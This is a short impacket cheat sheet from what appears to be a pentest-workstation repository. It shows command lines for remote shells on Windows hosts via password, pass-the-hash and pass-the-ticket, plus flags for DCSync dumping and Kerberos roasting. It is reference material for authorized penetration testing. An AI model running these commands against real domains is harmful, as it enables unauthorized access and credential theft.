repositories

NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor

clonegit clone https://git.daemon-sec.xyz/NixDaemon.git
impacket.mdMarkdown63 lines4.6 KiBsource raw download

impacket — remote exec & credential looting over SMB/Kerberos#

The native AD attack kit: RCE, secret dumping, roasting, and Kerberos ticket abuse against Windows hosts. Sweep the box first with cheat nxc, crack the loot with hc-rock / hc-show. t <ip> sets $TARGET.

The one grammar (auth string)#

Every tool shares the same connection string — learn it once. The impacket-* functions are thin wrappers; the raw .py names are on $PATH too.

impacket-TOOL  [DOMAIN/]user[:password]@target   [flags]
               ^domain optional  ^omit :pass to be prompted   ^host or IP

Get a shell — psexec / smbexec / wmiexec#

All three need local admin on the target + SMB(445); pick by how loud you can be.

impacket-wmiexec CORP/admin:'Pw'@10.10.10.5
impacket-psexec  -hashes :aad3b...31d6 Administrator@10.10.10.5   # PtH → SYSTEM
impacket-wmiexec -k -no-pass DC01.corp.local                      # pass-the-ticket

Loot creds — secretsdump#

Roast — getnp / getspn#

Kerberos tickets — gettgt / getst#

Enumerate — lookupsid#

Shared flags#

flag meaning
-hashes LM:NT pass-the-hash (:NT if no LM half)
-k Kerberos auth from the $KRB5CCNAME ccache
-no-pass never prompt — null session, PtT, or AS-REP
-dc-ip IP which domain controller to talk to
-target-ip IP host IP when the name won't resolve
-aesKey HEX Kerberos AES key (overpass-the-hash)
-just-dc / -just-dc-user U secretsdump: DCSync all / one account
-request / -request-user U getspn: pull TGS-REP hashes
-outputfile F write hashes to a file (roasters)

The impacket-* wrappers just pass args straight through — they do not auto-fill $TARGET; the higher-level asrep / kerberoast / dcsync do. Reach for wmiexec over psexec unless you specifically need a SYSTEM TTY.